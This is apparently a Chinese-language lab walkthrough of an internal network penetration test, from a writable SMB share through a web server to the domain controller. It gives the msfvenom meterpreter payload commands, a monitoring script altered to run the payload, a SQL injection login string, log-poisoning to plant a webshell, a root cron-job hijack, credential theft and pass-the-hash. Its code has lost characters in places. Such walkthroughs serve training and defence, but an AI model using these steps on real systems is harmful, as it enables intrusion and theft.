今天这篇文章将试图呈现一个完整的内网渗透过程。文章略长，如果感兴趣的话，请耐心阅读！
0x01 案例分析
实验环境：
目标环境：10.0.0.0/24, 10.0.1.0/24攻击主机：10.0.0.5 (Kali), 10.0.0.7 (Windows)
渗透过程：
基本的主机探测：

从以上探测结果可以发现该主机是Windows 2008 R2且开放了SMB和RDP，继续探测：

此时，我们发现该主机存在一个可读写的share folder \10.0.0.9share:

为了进一步了解，登录我们用于渗透的另一台Windows主机（10.0.0.7）。
发现，这个共享文件夹里包含了一个定期监控运行进程的python脚本。
import win32com.client
import datetime
def logging(context):
now = datetime.datetime.now().strftime("%Y-%m-%d %H:%M:%S")
f = open(‘c:sharelogs.txt’, ‘a’)
f.write(’{}: {}’.format(now,context))
f.close()
def process_monitor():
wmi=win32com.client.GetObject(‘winmgmts:’)
for p in wmi.InstancesOf(‘win32_process’):
logging("{}{}{}n".format(p.Name, p.Properties_(‘ProcessId’),
int(p.Properties_(‘UserModeTime’).Value)+int(p.Properties_(‘KernelModeTime’).Value)))
if name == “main”:
process_monitor()
由于该文件夹可读写，我们可以生成并放置一个meterpreter的payload，然后修改该python脚本来执行它，这样我们就可以得到一个meterpreter session了。
root@kali:/var/www/html# msfvenom -p windows/x64/meterpreter/reverse_tcp LPORT=4444 LHOST=10.0.0.5 -f exe > s.exe
修改python脚本如下：
import win32com.client
import datetime
from subprocess import call
def logging(context):
now = datetime.datetime.now().strftime("%Y-%m-%d %H:%M:%S")
f = open(‘c:sharelogs.txt’, ‘a’)
f.write(’{}: {}’.format(now,context))
f.close()
def process_monitor():
wmi=win32com.client.GetObject(‘winmgmts:’)
for p in wmi.InstancesOf(‘win32_process’):
logging("{}{}{}n".format(p.Name, p.Properties_(‘ProcessId’),
int(p.Properties_(‘UserModeTime’).Value)+int(p.Properties_(‘KernelModeTime’).Value)))
if name == “main”:
process_monitor()
call([“c:shares.exe”])
几分钟后，我们顺利地获得了一个meterpreter session了。

同时，可以看出这个机器具有多个网卡且横跨在2个网段中(10.0.0.9/24和10.0.1.9/24)。因此，我们也可以利用这个机器做跳板继续渗透10.0.1.0/24这段里的机器。

我们任意选取其中的一台机器(如：10.0.1.11)，我们发现其开放了80和22端口。接下来，我们可以在session 2里设置端口转发，将攻击机(10.0.0.5)上的8080端口转发到目标机(10.0.1.7)上的80端口，方便我们后续的测试。

这时，我们再次登录我们的Windows渗透机器(10.0.0.7)来查看一下这是个什么网站。
经过测试发现，这个登录功能存在SQL Injection，可以通过以下的用户名和密码登录：
username: admin
password: ’ or ‘1’='1
经过观察发现，这个网站应该直接本地文件包含了web服务器的access_log，因此我们可以想到利用文件包含漏洞来生成一个webshell，具体步骤如下：
1. 发送一个包含webshell代码的HTTP请求使其被写入到access_log里, 如一个仅包含上传功能的php小马
2. 访问来文件包含access_log使其中的php代码被执行，从获取一个具备上传功能的php小马
3. 访问并上传一个功能齐全的PHP webshell
4. 访问并输入密码qwer，则成功地获取了一个webshell
利用webshell提供的功能我们发现这只是一个用于运行web service的低权限的用户(daemon)，那么接下来我们需要解决的问题就是本地提权到root权限。
如上图，我们找到了一个777权限的root用户所拥有的cronjob文件/etc/cron.hourly/clean_up_access_log。看起来这个脚本似乎是用于定期清理access_log的。因此，我们似乎可以利用它来获得一个root权限的meterpreter shell。
首先，生成一个Linux的meterpreter payload并通过webshell上传到目标主机上并添加执行权限；
root@kali:~# msfvenom -p linux/x64/meterpreter/bind_tcp LPORT=4444 -f elf > root.elf
system(‘chmod +x /opt/lampp/htdocs/root.elf’);
接着，修改/etc/cron.hourly/clean_up_access_log使其可以执行我们上传的payload并等待cronjob的下次执行；
system(“echo ‘/opt/lampp/htdocs/root.elf’ >> /etc/cron.hourly/clean_up_access_log”);
最后，我们成功地在目标机器(10.0.1.11)上获得了一个root权限的meterpreter session，如下：
msf exploit(handler) > use exploit/multi/handler
msf exploit(handler) > set payload linux/x64/meterpreter/bind_tcp
payload => linux/x64/meterpreter/bind_tcp
msf exploit(handler) > set RHOST 10.0.1.11

利用上面获得的root权限的meterpreter session，我意外的发现了一个有趣的文件/root/readme.txt，其中包含了一个远程FTP(10.0.1.26)的口令和密码。
cat /root/readme.txt
Credentials for FTP:
IP: 10.0.1.26

既然拿到了这个信息，我们不妨再次探测一下我们的下一个目标(10.0.1.26)。

果不其然，目标机（10.0.1.26）确实存在一个FTP站点。进入上面获得的session 2,在目标机10.0.0.9(10.0.1.9)上添加一个管理员账号:

接着RDP到目标主机10.0.0.9(10.0.1.9)上，并尝试使用已经获取的口令登录。
结果显示，我们成功地登录了该FTP站点，且具备读写权限。另外，我们还发现该FTP为目标机10.0.1.26上的一个web站点的根目录。因此，我们可以通过该FTP轻松地上传一个webshell.php文件，如下：
有了webshell我们便可以上传一个meterpreter payload来获取一个功能强大的meterpreter session了。

那么接下来，我们的下一个目标就是IP为10.0.1.7的域控服务器了。
经过一系列测试，发现目标机似乎只接受来自IP10.0.1.26(Session 5)的流量，因此我们需要先添加一个专门的路由使我们的攻击机(10.0.0.5)流量可以抵达目标主机(10.0.1.7)。
msf exploit(psexec) > route add 10.0.1.7 255.255.255.255 5

10.0.1.7 255.255.255.255 Session 5
[*] There are currently no IPv6 routes defined.
首先，搜集利用hashdump命令收集一下主机10.0.1.26的所有密码Hash：

接着，我们可以尝试使用Pass The Hash来测试一下我们的目标机(10.0.1.7)，并成功地拿下了该域控服务器。

本文重点介绍了一个相对完整的内网渗透过程(即：外网主机-内网主机-内网域内主机-内网域控服务器)。当然，这只是个简单的实验环境，实际实战中遇到的情况会比这复杂很多(比如：各种反病毒程序的bypass，内网反入侵系统的检测的绕过等等)，但是基本思路和方法都是类似和想通的。另外，因笔者水平有限，文中表达不当或者不正确的地方，也敬请谅解和指正。
